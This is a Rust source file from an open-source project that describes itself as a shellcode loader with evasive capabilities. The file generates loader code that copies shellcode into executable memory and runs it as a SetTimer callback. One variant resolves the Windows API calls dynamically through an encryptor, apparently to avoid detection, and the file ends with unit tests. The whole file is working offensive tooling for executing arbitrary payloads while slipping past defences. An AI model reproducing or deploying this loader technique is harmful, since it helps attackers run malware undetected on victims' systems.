myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
set_timer.rs (6117B)
1 pub fn set_timer_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn set_timer_const() -> String { 9 format!( 10 r#" 11 {} 12 13 #[link(name = "user32")] 14 extern "system" {{ 15 fn SetTimer( 16 hwnd: *mut std::ffi::c_void, 17 id_event: usize, 18 elapse: u32, 19 timer_func: *const std::ffi::c_void, 20 ) -> usize; 21 22 fn GetMessageW( 23 msg: *mut u8, 24 hwnd: *mut std::ffi::c_void, 25 msg_filter_min: u32, 26 msg_filter_max: u32, 27 ) -> i32; 28 29 fn DispatchMessageW( 30 msg: *const u8, 31 ) -> isize; 32 }} 33 "#, 34 super::common::COMMON_MEMORY_CONSTANTS 35 ) 36 } 37 38 pub fn set_timer_init() -> String { 39 String::new() 40 } 41 42 pub fn set_timer_process() -> String { 43 r#" 44 unsafe { 45 let addr = VirtualAlloc( 46 ptr::null_mut(), 47 shellcode.len(), 48 MEM_COMMIT | MEM_RESERVE, 49 PAGE_EXECUTE_READWRITE, 50 ); 51 52 if addr.is_null() { 53 panic!("failed"); 54 } 55 56 let addr_u8 = addr as *mut u8; 57 for i in 0..shellcode.len() { 58 *addr_u8.add(i) = shellcode[i]; 59 } 60 61 let dummy: usize = 0; 62 let result = SetTimer(ptr::null_mut(), dummy, 0, addr); 63 if result == 0 { 64 panic!("failed"); 65 } 66 67 let mut msg = [0u8; 48]; 68 GetMessageW(msg.as_mut_ptr(), ptr::null_mut(), 0, 0); 69 DispatchMessageW(msg.as_ptr()); 70 } 71 "# 72 .to_string() 73 } 74 75 fn generate_set_timer_template(function_name: &str) -> String { 76 super::common::TechniqueTemplateBuilder::new() 77 .with_import(set_timer_import()) 78 .with_const(set_timer_const()) 79 .with_init(set_timer_init()) 80 .with_process(set_timer_process()) 81 .build(function_name) 82 } 83 84 pub fn generate_set_timer_code(function_name: &str) -> String { 85 generate_set_timer_template(function_name) 86 } 87 88 fn set_timer_process_with_dynamic_resolver( 89 encryptor: &dyn crate::encryption::Encryptor, 90 ) -> Result<String, String> { 91 use super::dynamic_common::*; 92 93 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 94 let set_timer = set_timer_resolver(encryptor)?; 95 let get_message_w = get_message_w_resolver(encryptor)?; 96 let dispatch_message_w = dispatch_message_w_resolver(encryptor)?; 97 98 Ok(format!( 99 r#" 100 unsafe {{ 101 {virtual_alloc_resolver} 102 {virtual_alloc_cast} 103 104 let addr = virtual_alloc( 105 ptr::null(), 106 shellcode.len(), 107 MEM_COMMIT | MEM_RESERVE, 108 PAGE_EXECUTE_READWRITE, 109 ); 110 111 if addr.is_null() {{ 112 panic!("failed"); 113 }} 114 115 let addr_u8 = addr as *mut u8; 116 for i in 0..shellcode.len() {{ 117 *addr_u8.add(i) = shellcode[i]; 118 }} 119 120 {set_timer_resolver} 121 {set_timer_cast} 122 123 let dummy: usize = 0; 124 let result = set_timer(ptr::null_mut(), dummy, 0, addr); 125 if result == 0 {{ 126 panic!("failed"); 127 }} 128 129 {get_message_w_resolver} 130 {get_message_w_cast} 131 132 {dispatch_message_w_resolver} 133 {dispatch_message_w_cast} 134 135 let mut msg = [0u8; 48]; 136 get_message_w(msg.as_mut_ptr(), ptr::null_mut(), 0, 0); 137 dispatch_message_w(msg.as_ptr()); 138 }} 139 "#, 140 virtual_alloc_resolver = virtual_alloc.resolver_code, 141 virtual_alloc_cast = virtual_alloc.cast_code, 142 set_timer_resolver = set_timer.resolver_code, 143 set_timer_cast = set_timer.cast_code, 144 get_message_w_resolver = get_message_w.resolver_code, 145 get_message_w_cast = get_message_w.cast_code, 146 dispatch_message_w_resolver = dispatch_message_w.resolver_code, 147 dispatch_message_w_cast = dispatch_message_w.cast_code, 148 )) 149 } 150 151 fn generate_set_timer_template_with_dynamic_resolver( 152 function_name: &str, 153 _encryption_type: &str, 154 encryptor: &dyn crate::encryption::Encryptor, 155 ) -> Result<String, String> { 156 let process_code = set_timer_process_with_dynamic_resolver(encryptor)?; 157 158 Ok(super::common::TechniqueTemplateBuilder::new() 159 .with_import(set_timer_import()) 160 .with_const(set_timer_const()) 161 .with_init(set_timer_init()) 162 .with_process(process_code) 163 .build(function_name)) 164 } 165 166 pub fn generate_set_timer_code_with_dynamic_resolver( 167 function_name: &str, 168 encryption_type: &str, 169 encryptor: &dyn crate::encryption::Encryptor, 170 ) -> String { 171 generate_set_timer_template_with_dynamic_resolver(function_name, encryption_type, encryptor) 172 .unwrap_or_else(|err| { 173 panic!( 174 "Failed to generate SetTimer code with dynamic resolver (encryption: {}): {}", 175 encryption_type, err 176 ) 177 }) 178 } 179 180 pub struct SetTimerGenerator; 181 182 impl super::trait_generator::TechniqueGenerator for SetTimerGenerator { 183 fn generate_code(&self, _process: &str, function_name: &str) -> String { 184 generate_set_timer_code(function_name) 185 } 186 187 fn generate_code_with_dynamic_resolver( 188 &self, 189 _process: &str, 190 function_name: &str, 191 encryption_type: &str, 192 encryptor: &dyn crate::encryption::Encryptor, 193 ) -> String { 194 generate_set_timer_code_with_dynamic_resolver(function_name, encryption_type, encryptor) 195 } 196 197 fn requires_process(&self) -> bool { 198 false 199 } 200 201 fn name(&self) -> &'static str { 202 "SetTimer" 203 } 204 } 205 206 #[cfg(test)] 207 mod tests { 208 use super::*; 209 210 #[test] 211 fn test_generate_set_timer_template_contains_all_parts() { 212 let template = generate_set_timer_template("MyFunction"); 213 assert!(template.contains("use std::ptr")); 214 assert!(template.contains("MEM_COMMIT")); 215 assert!(template.contains("SetTimer")); 216 assert!(template.contains("fn MyFunction")); 217 assert!(template.contains("VirtualAlloc")); 218 } 219 220 #[test] 221 fn test_generate_set_timer_code() { 222 let code = generate_set_timer_code("MyRandomFunc"); 223 assert!(code.contains("fn MyRandomFunc")); 224 assert!(code.contains("SetTimer")); 225 assert!(code.contains("GetMessageW")); 226 } 227 }